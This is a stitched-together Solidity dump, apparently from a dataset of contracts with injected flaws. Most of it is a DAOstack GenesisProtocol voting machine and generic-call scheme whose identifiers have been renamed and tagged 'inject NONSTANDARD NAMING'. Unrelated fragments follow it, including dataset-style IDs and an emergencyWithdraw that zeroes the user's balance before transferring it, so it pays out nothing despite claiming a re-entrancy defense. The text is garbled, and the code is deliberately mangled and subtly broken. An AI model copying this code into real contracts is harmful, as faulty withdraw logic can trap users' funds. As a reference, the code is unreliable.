EXPIRATIONCALLBOUNTY13(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount); //inject NONSTANDARD NAMING mapping(bytes32=>Parameters) public parameters; // A mapping from hashes to parameters mapping(bytes32=>Proposal) public proposals; // Mapping from the ID of the proposal to the proposal itself. mapping(bytes32=>uint) public orgBoostedProposalsCnt; //organizationId => organization mapping(bytes32 => address ) public organizations; //organizationId => averageBoostDownstakes mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted; uint256 constant public num_of_choices20 = 2; //inject NONSTANDARD NAMING uint256 constant public no97 = 2; //inject NONSTANDARD NAMING uint256 constant public yes52 = 1; //inject NONSTANDARD NAMING uint256 public proposalsCnt; // Total number of proposals ierc2016 public stakingToken; address constant private gen_token_address24 = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf; //inject NONSTANDARD NAMING uint256 constant private max_boosted_proposals66 = 4096; //inject NONSTANDARD NAMING constructor(ierc2016 _stakingToken) public { //The GEN token (staking token) address is hard coded in the contract by GEN_TOKEN_ADDRESS . //This will work for a network which already hosted the GEN token on this address (e.g mainnet). //If such contract address does not exist in the network (e.g ganache) //the contract will use the _stakingToken param as the //staking token address. if (address(gen_token_address24).ISCONTRACT13()) { stakingToken = ierc2016(gen_token_address24); } else { stakingToken = _stakingToken; } } modifier VOTABLE14(bytes32 _proposalId) { //inject NONSTANDARD NAMING require(_ISVOTABLE26(_proposalId)); _; } function PROPOSE48(uint256, bytes32 _paramsHash, address _proposer, address _organization) //inject NONSTANDARD NAMING external returns(bytes32) { // solhint-disable-next-line not-rely-on-time require(now > parameters[_paramsHash].activationTime, "not active yet"); //Check parameters existence. require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50); // Generate a unique ID: bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt)); proposalsCnt = proposalsCnt.ADD40(1); // Open proposal: Proposal memory proposal; proposal.callbacks = msg.sender; proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization)); proposal.state = ProposalState.Queued; // solhint-disable-next-line not-rely-on-time proposal.times[0] = now;//submitted time proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit; proposal.proposer = _proposer; proposal.winningVote = no97; proposal.paramsHash = _paramsHash; if (organizations[proposal.organizationId] == address(0)) { if (_organization == address(0)) { organizations[proposal.organizationId] = msg.sender; } else { organizations[proposal.organizationId] = _organization; } } //calc dao bounty uint256 daoBounty = parameters[_paramsHash].daoBountyConst.MUL16(averagesDownstakesOfBoosted[proposal.organizationId]).DIV25(100); if (daoBounty < parameters[_paramsHash].minimumDaoBounty) { proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty; } else { proposal.daoBountyRemain = daoBounty; } proposal.totalStakes = proposal.daoBountyRemain; proposals[proposalId] = proposal; proposals[proposalId].stakes[no97] = proposal.daoBountyRemain;//dao downstake on the proposal Staker storage staker = proposals[proposalId].stakers[organizations[proposal.organizationId]]; staker.vote = no97; staker.amount = proposal.daoBountyRemain; emit NEWPROPOSAL82(proposalId, organizations[proposal.organizationId], num_of_choices20, _proposer, _paramsHash); return proposalId; } function EXECUTEBOOSTED98(bytes32 _proposalId) external returns(uint256 expirationCallBounty) { //inject NONSTANDARD NAMING Proposal storage proposal = proposals[_proposalId]; require(proposal.state == ProposalState.Boosted); require(_EXECUTE0(_proposalId), "proposal need to expire"); uint256 expirationCallBountyPercentage = // solhint-disable-next-line not-rely-on-time (uint(1).ADD40(now.SUB37(proposal.currentBoostedVotePeriodLimit.ADD40(proposal.times[1])).DIV25(15))); if (expirationCallBountyPercentage > 100) { expirationCallBountyPercentage = 100; } proposal.expirationCallBountyPercentage = expirationCallBountyPercentage; expirationCallBounty = expirationCallBountyPercentage.MUL16(proposal.stakes[yes52]).DIV25(100); require(stakingToken.TRANSFER74(msg.sender, expirationCallBounty), "transfer to msg.sender failed"); emit EXPIRATIONCALLBOUNTY13(_proposalId, msg.sender, expirationCallBounty); } function SETPARAMETERS19( //inject NONSTANDARD NAMING uint[11] calldata _params, //use array here due to stack too deep issue. address _voteOnBehalf ) external returns(bytes32) { require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100"); require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000"); require(_params[7] <= 100, "votersReputationLossRatio <= 100"); require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod"); require(_params[8] > 0, "minimumDaoBounty should be > 0"); require(_params[9] > 0, "daoBountyConst should be > 0"); bytes32 paramsHash = GETPARAMETERSHASH35(_params, _voteOnBehalf); //set a limit for power for a given alpha to prevent overflow uint256 limitExponent = 172;//for alpha less or equal 2 uint256 j = 2; for (uint256 i = 2000; i < 16000; i = i*2) { if ((_params[4] > i) && (_params[4] <= i*2)) { limitExponent = limitExponent/j; break; } j++; } parameters[paramsHash] = Parameters({ queuedVoteRequiredPercentage: _params[0], queuedVotePeriodLimit: _params[1], boostedVotePeriodLimit: _params[2], preBoostedVotePeriodLimit: _params[3], thresholdConst:uint216(_params[4]).FRACTION6(uint216(1000)), limitExponentValue:limitExponent, quietEndingPeriod: _params[5], proposingRepReward: _params[6], votersReputationLossRatio:_params[7], minimumDaoBounty:_params[8], daoBountyConst:_params[9], activationTime:_params[10], voteOnBehalf:_voteOnBehalf }); return paramsHash; } // solhint-disable-next-line function-max-lines,code-complexity function REDEEM91(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) { //inject NONSTANDARD NAMING Proposal storage proposal = proposals[_proposalId]; require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue), "Proposal should be Executed or ExpiredInQueue"); Parameters memory params = parameters[proposal.paramsHash]; uint256 lostReputation; if (proposal.winningVote == yes52) { lostReputation = proposal.preBoostedVotes[no97]; } else { lostReputation = proposal.preBoostedVotes[yes52]; } lostReputation = (lostReputation.MUL16(params.votersReputationLossRatio))/100; //as staker Staker storage staker = proposal.stakers[_beneficiary]; if (staker.amount > 0) { if (proposal.state == ProposalState.ExpiredInQueue) { //Stakes of a proposal that expires in Queue are sent back to stakers rewards[0] = staker.amount; } else if (staker.vote == proposal.winningVote) { uint256 totalWinningStakes = proposal.stakes[proposal.winningVote]; uint256 totalStakes = proposal.stakes[yes52].ADD40(proposal.stakes[no97]); if (staker.vote == yes52) { uint256 _totalStakes = ((totalStakes.MUL16(100 - proposal.expirationCallBountyPercentage))/100) - proposal.daoBounty; rewards[0] = (staker.amount.MUL16(_totalStakes))/totalWinningStakes; } else { rewards[0] = (staker.amount.MUL16(totalStakes))/totalWinningStakes; if (organizations[proposal.organizationId] == _beneficiary) { //dao redeem it reward rewards[0] = rewards[0].SUB37(proposal.daoBounty); } } } staker.amount = 0; } //as voter Voter storage voter = proposal.voters[_beneficiary]; if ((voter.reputation != 0) && (voter.preBoosted)) { if (proposal.state == ProposalState.ExpiredInQueue) { //give back reputation for the voter rewards[1] = ((voter.reputation.MUL16(params.votersReputationLossRatio))/100); } else if (proposal.winningVote == voter.vote) { uint256 preBoostedVotes = proposal.preBoostedVotes[yes52].ADD40(proposal.preBoostedVotes[no97]); rewards[1] = ((voter.reputation.MUL16(params.votersReputationLossRatio))/100) .ADD40((voter.reputation.MUL16(lostReputation))/preBoostedVotes); } voter.reputation = 0; } //as proposer if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == yes52)&&(proposal.proposer != address(0))) { rewards[2] = params.proposingRepReward; proposal.proposer = address(0); } if (rewards[0] != 0) { proposal.totalStakes = proposal.totalStakes.SUB37(rewards[0]); require(stakingToken.TRANSFER74(_beneficiary, rewards[0]), "transfer to beneficiary failed"); emit REDEEM77(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]); } if (rewards[1].ADD40(rewards[2]) != 0) { votingmachinecallbacksinterface79(proposal.callbacks) .MINTREPUTATION65(rewards[1].ADD40(rewards[2]), _beneficiary, _proposalId); emit REDEEMREPUTATION31( _proposalId, organizations[proposal.organizationId], _beneficiary, rewards[1].ADD40(rewards[2]) ); } } function REDEEMDAOBOUNTY7(bytes32 _proposalId, address _beneficiary) //inject NONSTANDARD NAMING public returns(uint256 redeemedAmount, uint256 potentialAmount) { Proposal storage proposal = proposals[_proposalId]; require(proposal.state == ProposalState.Executed); uint256 totalWinningStakes = proposal.stakes[proposal.winningVote]; Staker storage staker = proposal.stakers[_beneficiary]; if ( (staker.amount4Bounty > 0)&& (staker.vote == proposal.winningVote)&& (proposal.winningVote == yes52)&& (totalWinningStakes != 0)) { //as staker potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes; } if ((potentialAmount != 0)&& (votingmachinecallbacksinterface79(proposal.callbacks) .BALANCEOFSTAKINGTOKEN17(stakingToken, _proposalId) >= potentialAmount)) { staker.amount4Bounty = 0; proposal.daoBountyRemain = proposal.daoBountyRemain.SUB37(potentialAmount); require( votingmachinecallbacksinterface79(proposal.callbacks) .STAKINGTOKENTRANSFER23(stakingToken, _beneficiary, potentialAmount, _proposalId)); redeemedAmount = potentialAmount; emit REDEEMDAOBOUNTY80(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount); } } function SHOULDBOOST32(bytes32 _proposalId) public view returns(bool) { //inject NONSTANDARD NAMING Proposal memory proposal = proposals[_proposalId]; return (_SCORE65(_proposalId) > THRESHOLD35(proposal.paramsHash, proposal.organizationId)); } function THRESHOLD35(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) { //inject NONSTANDARD NAMING uint256 power = orgBoostedProposalsCnt[_organizationId]; Parameters storage params = parameters[_paramsHash]; if (power > params.limitExponentValue) { power = params.limitExponentValue; } return params.thresholdConst.POW66(power); } function GETPARAMETERSHASH35( //inject NONSTANDARD NAMING uint[11] memory _params,//use array here due to stack too deep issue. address _voteOnBehalf ) public pure returns(bytes32) { //double call to keccak256 to avoid deep stack issue when call with too many params. return keccak256( abi.encodePacked( keccak256( abi.encodePacked( _params[0], _params[1], _params[2], _params[3], _params[4], _params[5], _params[6], _params[7], _params[8], _params[9], _params[10]) ), _voteOnBehalf )); } // solhint-disable-next-line function-max-lines,code-complexity function _EXECUTE0(bytes32 _proposalId) internal VOTABLE14(_proposalId) returns(bool) { //inject NONSTANDARD NAMING Proposal storage proposal = proposals[_proposalId]; Parameters memory params = parameters[proposal.paramsHash]; Proposal memory tmpProposal = proposal; uint256 totalReputation = votingmachinecallbacksinterface79(proposal.callbacks).GETTOTALREPUTATIONSUPPLY93(_proposalId); //first divide by 100 to prevent overflow uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage; ExecutionState executionState = ExecutionState.None; uint256 averageDownstakesOfBoosted; uint256 confidenceThreshold; if (proposal.votes[proposal.winningVote] > executionBar) { // someone crossed the absolute vote execution bar. if (proposal.state == ProposalState.Queued) { executionState = ExecutionState.QueueBarCrossed; } else if (proposal.state == ProposalState.PreBoosted) { executionState = ExecutionState.PreBoostedBarCrossed; } else { executionState = ExecutionState.BoostedBarCrossed; } proposal.state = ProposalState.Executed; } else { if (proposal.state == ProposalState.Queued) { // solhint-disable-next-line not-rely-on-time if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) { proposal.state = ProposalState.ExpiredInQueue; proposal.winningVote = no97; executionState = ExecutionState.QueueTimeOut; } else { confidenceThreshold = THRESHOLD35(proposal.paramsHash, proposal.organizationId); if (_SCORE65(_proposalId) > confidenceThreshold) { //change proposal mode to PreBoosted mode. proposal.state = ProposalState.PreBoosted; // solhint-disable-next-line not-rely-on-time proposal.times[2] = now; proposal.confidenceThreshold = confidenceThreshold; } } } if (proposal.state == ProposalState.PreBoosted) { confidenceThreshold = THRESHOLD35(proposal.paramsHash, proposal.organizationId); // solhint-disable-next-line not-rely-on-time if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) { if ((_SCORE65(_proposalId) > confidenceThreshold) && (orgBoostedProposalsCnt[proposal.organizationId] < max_boosted_proposals66)) { //change proposal mode to Boosted mode. proposal.state = ProposalState.Boosted; // solhint-disable-next-line not-rely-on-time proposal.times[1] = now; orgBoostedProposalsCnt[proposal.organizationId]++; //add a value to average -> average = average + ((value - average) / nbValues) averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId]; // solium-disable-next-line indentation averagesDownstakesOfBoosted[proposal.organizationId] = uint256(int256(averageDownstakesOfBoosted) + ((int256(proposal.stakes[no97])-int256(averageDownstakesOfBoosted))/ int256(orgBoostedProposalsCnt[proposal.organizationId]))); } } else { //check the Confidence level is stable uint256 proposalScore = _SCORE65(_proposalId); if (proposalScore <= proposal.confidenceThreshold.MIN92(confidenceThreshold)) { proposal.state = ProposalState.Queued; } else if (proposal.confidenceThreshold > proposalScore) { proposal.confidenceThreshold = confidenceThreshold; } } } } if ((proposal.state == ProposalState.Boosted) || (proposal.state == ProposalState.QuietEndingPeriod)) { // solhint-disable-next-line not-rely-on-time if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) { proposal.state = ProposalState.Executed; executionState = ExecutionState.BoostedTimeOut; } } if (executionState != ExecutionState.None) { if ((executionState == ExecutionState.BoostedTimeOut) || (executionState == ExecutionState.BoostedBarCrossed)) { orgBoostedProposalsCnt[tmpProposal.organizationId] = orgBoostedProposalsCnt[tmpProposal.organizationId].SUB37(1); //remove a value from average = ((average * nbValues) - value) / (nbValues - 1); uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId]; if (boostedProposals == 0) { averagesDownstakesOfBoosted[proposal.organizationId] = 0; } else { averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId]; averagesDownstakesOfBoosted[proposal.organizationId] = (averageDownstakesOfBoosted.MUL16(boostedProposals+1).SUB37(proposal.stakes[no97]))/boostedProposals; } } emit EXECUTEPROPOSAL67( _proposalId, organizations[proposal.organizationId], proposal.winningVote, totalReputation ); emit GPEXECUTEPROPOSAL49(_proposalId, executionState); proposalexecuteinterface9(proposal.callbacks).EXECUTEPROPOSAL85(_proposalId, int(proposal.winningVote)); proposal.daoBounty = proposal.daoBountyRemain; } if (tmpProposal.state != proposal.state) { emit STATECHANGE55(_proposalId, proposal.state); } return (executionState != ExecutionState.None); } function _STAKE17(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) { //inject NONSTANDARD NAMING // 0 is not a valid vote. require(_vote <= num_of_choices20 && _vote > 0, "wrong vote value"); require(_amount > 0, "staking amount should be >0"); if (_EXECUTE0(_proposalId)) { return true; } Proposal storage proposal = proposals[_proposalId]; if ((proposal.state != ProposalState.PreBoosted) && (proposal.state != ProposalState.Queued)) { return false; } // enable to increase stake only on the previous stake vote Staker storage staker = proposal.stakers[_staker]; if ((staker.amount > 0) && (staker.vote != _vote)) { return false; } uint256 amount = _amount; require(stakingToken.TRANSFERFROM94(_staker, address(this), amount), "fail transfer from staker"); proposal.totalStakes = proposal.totalStakes.ADD40(amount); //update totalRedeemableStakes staker.amount = staker.amount.ADD40(amount); //This is to prevent average downstakes calculation overflow //Note that any how GEN cap is 100000000 ether. require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high"); require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high"); if (_vote == yes52) { staker.amount4Bounty = staker.amount4Bounty.ADD40(amount); } staker.vote = _vote; proposal.stakes[_vote] = amount.ADD40(proposal.stakes[_vote]); emit STAKE61(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount); return _EXECUTE0(_proposalId); } // solhint-disable-next-line function-max-lines,code-complexity function INTERNALVOTE44(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) { //inject NONSTANDARD NAMING require(_vote <= num_of_choices20 && _vote > 0, "0 < _vote <= 2"); if (_EXECUTE0(_proposalId)) { return true; } Parameters memory params = parameters[proposals[_proposalId].paramsHash]; Proposal storage proposal = proposals[_proposalId]; // Check voter has enough reputation: uint256 reputation = votingmachinecallbacksinterface79(proposal.callbacks).REPUTATIONOF100(_voter, _proposalId); require(reputation > 0, "_voter must have reputation"); require(reputation >= _rep, "reputation >= _rep"); uint256 rep = _rep; if (rep == 0) { rep = reputation; } // If this voter has already voted, return false. if (proposal.voters[_voter].reputation != 0) { return false; } // The voting itself: proposal.votes[_vote] = rep.ADD40(proposal.votes[_vote]); //check if the current winningVote changed or there is a tie. //for the case there is a tie the current winningVote set to NO. if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) || ((proposal.votes[no97] == proposal.votes[proposal.winningVote]) && proposal.winningVote == yes52)) { if (proposal.state == ProposalState.Boosted && // solhint-disable-next-line not-rely-on-time ((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))|| proposal.state == ProposalState.QuietEndingPeriod) { //quietEndingPeriod if (proposal.state != ProposalState.QuietEndingPeriod) { proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod; proposal.state = ProposalState.QuietEndingPeriod; } // solhint-disable-next-line not-rely-on-time proposal.times[1] = now; } proposal.winningVote = _vote; } proposal.voters[_voter] = Voter({ reputation: rep, vote: _vote, preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) }); if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) { proposal.preBoostedVotes[_vote] = rep.ADD40(proposal.preBoostedVotes[_vote]); uint256 reputationDeposit = (params.votersReputationLossRatio.MUL16(rep))/100; votingmachinecallbacksinterface79(proposal.callbacks).BURNREPUTATION8(reputationDeposit, _voter, _proposalId); } emit VOTEPROPOSAL81(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep); return _EXECUTE0(_proposalId); } function _SCORE65(bytes32 _proposalId) internal view returns(uint256) { //inject NONSTANDARD NAMING Proposal storage proposal = proposals[_proposalId]; //proposal.stakes[NO] cannot be zero as the dao downstake > 0 for each proposal. return proposal.stakes[yes52]/proposal.stakes[no97]; } function _ISVOTABLE26(bytes32 _proposalId) internal view returns(bool) { //inject NONSTANDARD NAMING ProposalState pState = proposals[_proposalId].state; return ((pState == ProposalState.PreBoosted)|| (pState == ProposalState.Boosted)|| (pState == ProposalState.QuietEndingPeriod)|| (pState == ProposalState.Queued) ); } } // File: @daostack/infra/contracts/votingMachines/GenesisProtocol.sol contract genesisprotocol36 is intvoteinterface31, genesisprotocollogic61 { //inject NONSTANDARD NAMING using ecdsa86 for bytes32; // Digest describing the data the user signs according EIP 712. // Needs to match what is passed to Metamask. bytes32 public constant delegation_hash_eip71264 = //inject NONSTANDARD NAMING keccak256(abi.encodePacked( "address GenesisProtocolAddress", "bytes32 ProposalId", "uint256 Vote", "uint256 AmountToStake", "uint256 Nonce" )); mapping(address=>uint256) public stakesNonce; //stakes Nonce constructor(ierc2016 _stakingToken) public // solhint-disable-next-line no-empty-blocks genesisprotocollogic61(_stakingToken) { } function STAKE3(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) { //inject NONSTANDARD NAMING return _STAKE17(_proposalId, _vote, _amount, msg.sender); } function STAKEWITHSIGNATURE10( //inject NONSTANDARD NAMING bytes32 _proposalId, uint256 _vote, uint256 _amount, uint256 _nonce, uint256 _signatureType, bytes calldata _signature ) external returns(bool) { // Recreate the digest the user signed bytes32 delegationDigest; if (_signatureType == 2) { delegationDigest = keccak256( abi.encodePacked( delegation_hash_eip71264, keccak256( abi.encodePacked( address(this), _proposalId, _vote, _amount, _nonce) ) ) ); } else { delegationDigest = keccak256( abi.encodePacked( address(this), _proposalId, _vote, _amount, _nonce) ).TOETHSIGNEDMESSAGEHASH91(); } address staker = delegationDigest.RECOVER59(_signature); //a garbage staker address due to wrong signature will revert due to lack of approval and funds. require(staker != address(0), "staker address cannot be 0"); require(stakesNonce[staker] == _nonce); stakesNonce[staker] = stakesNonce[staker].ADD40(1); return _STAKE17(_proposalId, _vote, _amount, staker); } function VOTE79(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter) //inject NONSTANDARD NAMING external VOTABLE14(_proposalId) returns(bool) { Proposal storage proposal = proposals[_proposalId]; Parameters memory params = parameters[proposal.paramsHash]; address voter; if (params.voteOnBehalf != address(0)) { require(msg.sender == params.voteOnBehalf); voter = _voter; } else { voter = msg.sender; } return INTERNALVOTE44(_proposalId, voter, _vote, _amount); } function CANCELVOTE62(bytes32 _proposalId) external VOTABLE14(_proposalId) { //inject NONSTANDARD NAMING //this is not allowed return; } function EXECUTE34(bytes32 _proposalId) external VOTABLE14(_proposalId) returns(bool) { //inject NONSTANDARD NAMING return _EXECUTE0(_proposalId); } function GETNUMBEROFCHOICES23(bytes32) external view returns(uint256) { //inject NONSTANDARD NAMING return num_of_choices20; } function GETPROPOSALTIMES43(bytes32 _proposalId) external view returns(uint[3] memory times) { //inject NONSTANDARD NAMING return proposals[_proposalId].times; } function VOTEINFO83(bytes32 _proposalId, address _voter) external view returns(uint, uint) { //inject NONSTANDARD NAMING Voter memory voter = proposals[_proposalId].voters[_voter]; return (voter.vote, voter.reputation); } function VOTESTATUS55(bytes32 _proposalId, uint256 _choice) external view returns(uint256) { //inject NONSTANDARD NAMING return proposals[_proposalId].votes[_choice]; } function ISVOTABLE72(bytes32 _proposalId) external view returns(bool) { //inject NONSTANDARD NAMING return _ISVOTABLE26(_proposalId); } function PROPOSALSTATUS51(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) { //inject NONSTANDARD NAMING return ( proposals[_proposalId].preBoostedVotes[yes52], proposals[_proposalId].preBoostedVotes[no97], proposals[_proposalId].stakes[yes52], proposals[_proposalId].stakes[no97] ); } function GETPROPOSALORGANIZATION83(bytes32 _proposalId) external view returns(bytes32) { //inject NONSTANDARD NAMING return (proposals[_proposalId].organizationId); } function GETSTAKER73(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) { //inject NONSTANDARD NAMING return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount); } function VOTESTAKE72(bytes32 _proposalId, uint256 _vote) external view returns(uint256) { //inject NONSTANDARD NAMING return proposals[_proposalId].stakes[_vote]; } function WINNINGVOTE73(bytes32 _proposalId) external view returns(uint256) { //inject NONSTANDARD NAMING return proposals[_proposalId].winningVote; } function STATE40(bytes32 _proposalId) external view returns(ProposalState) { //inject NONSTANDARD NAMING return proposals[_proposalId].state; } function ISABSTAINALLOW86() external pure returns(bool) { //inject NONSTANDARD NAMING return false; } function GETALLOWEDRANGEOFCHOICES7() external pure returns(uint256 min, uint256 max) { //inject NONSTANDARD NAMING return (yes52, no97); } function SCORE19(bytes32 _proposalId) public view returns(uint256) { //inject NONSTANDARD NAMING return _SCORE65(_proposalId); } } // File: /Users/oren/daostack/daostack2/daostack/contracts/votingMachines/VotingMachineCallbacks.sol contract votingmachinecallbacks93 is votingmachinecallbacksinterface79 { //inject NONSTANDARD NAMING struct ProposalInfo { uint256 blockNumber; // the proposal's block number avatar70 avatar; // the proposal's avatar address votingMachine; } modifier ONLYVOTINGMACHINE57(bytes32 _proposalId) { //inject NONSTANDARD NAMING require(msg.sender == proposalsInfo[_proposalId].votingMachine, "only VotingMachine"); _; } //proposalId -> ProposalInfo mapping(bytes32 => ProposalInfo ) public proposalsInfo; function MINTREPUTATION65(uint256 _amount, address _beneficiary, bytes32 _proposalId) //inject NONSTANDARD NAMING external ONLYVOTINGMACHINE57(_proposalId) returns(bool) { avatar70 avatar = proposalsInfo[_proposalId].avatar; if (avatar == avatar70(0)) { return false; } return controllerinterface59(avatar.OWNER8()).MINTREPUTATION65(_amount, _beneficiary, address(avatar)); } function BURNREPUTATION8(uint256 _amount, address _beneficiary, bytes32 _proposalId) //inject NONSTANDARD NAMING external ONLYVOTINGMACHINE57(_proposalId) returns(bool) { avatar70 avatar = proposalsInfo[_proposalId].avatar; if (avatar == avatar70(0)) { return false; } return controllerinterface59(avatar.OWNER8()).BURNREPUTATION8(_amount, _beneficiary, address(avatar)); } function STAKINGTOKENTRANSFER23( //inject NONSTANDARD NAMING ierc2016 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId) external ONLYVOTINGMACHINE57(_proposalId) returns(bool) { avatar70 avatar = proposalsInfo[_proposalId].avatar; if (avatar == avatar70(0)) { return false; } return controllerinterface59(avatar.OWNER8()).EXTERNALTOKENTRANSFER67(_stakingToken, _beneficiary, _amount, avatar); } function BALANCEOFSTAKINGTOKEN17(ierc2016 _stakingToken, bytes32 _proposalId) external view returns(uint256) { //inject NONSTANDARD NAMING avatar70 avatar = proposalsInfo[_proposalId].avatar; if (proposalsInfo[_proposalId].avatar == avatar70(0)) { return 0; } return _stakingToken.BALANCEOF62(address(avatar)); } function GETTOTALREPUTATIONSUPPLY93(bytes32 _proposalId) external view returns(uint256) { //inject NONSTANDARD NAMING ProposalInfo memory proposal = proposalsInfo[_proposalId]; if (proposal.avatar == avatar70(0)) { return 0; } return proposal.avatar.nativeReputation().TOTALSUPPLYAT94(proposal.blockNumber); } function REPUTATIONOF100(address _owner, bytes32 _proposalId) external view returns(uint256) { //inject NONSTANDARD NAMING ProposalInfo memory proposal = proposalsInfo[_proposalId]; if (proposal.avatar == avatar70(0)) { return 0; } return proposal.avatar.nativeReputation().BALANCEOFAT72(_owner, proposal.blockNumber); } } // File: contracts/universalSchemes/GenericScheme.sol contract genericscheme3 is universalscheme48, votingmachinecallbacks93, proposalexecuteinterface9 { //inject NONSTANDARD NAMING event NEWCALLPROPOSAL18( //inject NONSTANDARD NAMING address indexed _avatar, bytes32 indexed _proposalId, bytes _callData, string _descriptionHash ); event PROPOSALEXECUTED2( //inject NONSTANDARD NAMING address indexed _avatar, bytes32 indexed _proposalId, bytes _genericCallReturnValue ); event PROPOSALEXECUTEDBYVOTINGMACHINE53( //inject NONSTANDARD NAMING address indexed _avatar, bytes32 indexed _proposalId, int256 _param ); event PROPOSALDELETED34(address indexed _avatar, bytes32 indexed _proposalId); //inject NONSTANDARD NAMING // Details of a voting proposal: struct CallProposal { bytes callData; bool exist; bool passed; } // A mapping from the organization (Avatar) address to the saved data of the organization: mapping(address=>mapping(bytes32=>CallProposal)) public organizationsProposals; struct Parameters { intvoteinterface31 intVote; bytes32 voteParams; address contractToCall; } // A mapping from hashes to parameters (use to store a particular configuration on the controller) mapping(bytes32=>Parameters) public parameters; function EXECUTEPROPOSAL85(bytes32 _proposalId, int256 _decision) //inject NONSTANDARD NAMING external ONLYVOTINGMACHINE57(_proposalId) returns(bool) { avatar70 avatar = proposalsInfo[_proposalId].avatar; CallProposal storage proposal = organizationsProposals[address(avatar)][_proposalId]; require(proposal.exist, "must be a live proposal"); require(proposal.passed == false, "cannot execute twice"); if (_decision == 1) { proposal.passed = true; EXECUTE34(_proposalId); } else { delete organizationsProposals[address(avatar)][_proposalId]; emit PROPOSALDELETED34(address(avatar), _proposalId); } emit PROPOSALEXECUTEDBYVOTINGMACHINE53(address(avatar), _proposalId, _decision); return true; } function EXECUTE34(bytes32 _proposalId) public { //inject NONSTANDARD NAMING avatar70 avatar = proposalsInfo[_proposalId].avatar; Parameters memory params = parameters[GETPARAMETERSFROMCONTROLLER72(avatar)]; CallProposal storage proposal = organizationsProposals[address(avatar)][_proposalId]; require(proposal.exist, "must be a live proposal"); require(proposal.passed, "proposal must passed by voting machine"); proposal.exist = false; bytes memory genericCallReturnValue; bool success; controllerinterface59 controller = controllerinterface59(avatar70(avatar).OWNER8()); (success, genericCallReturnValue) = controller.GENERICCALL24(params.contractToCall, proposal.callData, avatar); if (success) { delete organizationsProposals[address(avatar)][_proposalId]; emit PROPOSALDELETED34(address(avatar), _proposalId); emit PROPOSALEXECUTED2(address(avatar), _proposalId, genericCallReturnValue); } else { proposal.exist = true; } } function SETPARAMETERS19( //inject NONSTANDARD NAMING bytes32 _voteParams, intvoteinterface31 _intVote, address _contractToCall ) public returns(bytes32) { bytes32 paramsHash = GETPARAMETERSHASH35(_voteParams, _intVote, _contractToCall); parameters[paramsHash].voteParams = _voteParams; parameters[paramsHash].intVote = _intVote; parameters[paramsHash].contractToCall = _contractToCall; return paramsHash; } function GETPARAMETERSHASH35( //inject NONSTANDARD NAMING bytes32 _voteParams, intvoteinterface31 _intVote, address _contractToCall ) public pure returns(bytes32) { return keccak256(abi.encodePacked(_voteParams, _intVote, _contractToCall)); } function PROPOSECALL64(avatar70 _avatar, bytes memory _callData, string memory _descriptionHash) //inject NONSTANDARD NAMING public returns(bytes32) { Parameters memory params = parameters[GETPARAMETERSFROMCONTROLLER72(_avatar)]; intvoteinterface31 intVote = params.intVote; bytes32 proposalId = intVote.PROPOSE48(2, params.voteParams, msg.sender, address(_avatar)); organizationsProposals[address(_avatar)][proposalId] = CallProposal({ callData: _callData, exist: true, passed: false }); proposalsInfo[proposalId] = ProposalInfo({ blockNumber:block.number, avatar:_avatar, votingMachine:address(params.intVote) }); emit NEWCALLPROPOSAL18(address(_avatar), proposalId, _callData, _descriptionHash); return proposalId; } function GETCONTRACTTOCALL27(avatar70 _avatar) public view returns(address) { //inject NONSTANDARD NAMING return parameters[GETPARAMETERSFROMCONTROLLER72(_avatar)].contractToCall; } }
inject NONSTANDARD NAMING
function BURN49(uint256 value) public {
12,775,728
./partial_match/4/0x325F553Aa0286bEFB2a5abc9d640460e57086139/sources/GovTreasurer.sol
WITHDRAW | FARMING ASSETS (TOKENS) WITH NO REWARDS | EMERGENCY ONLY | RE-ENTRANCY DEFENSE
function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; user.amount = 0; user.taxedAmount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); }
8,704,931
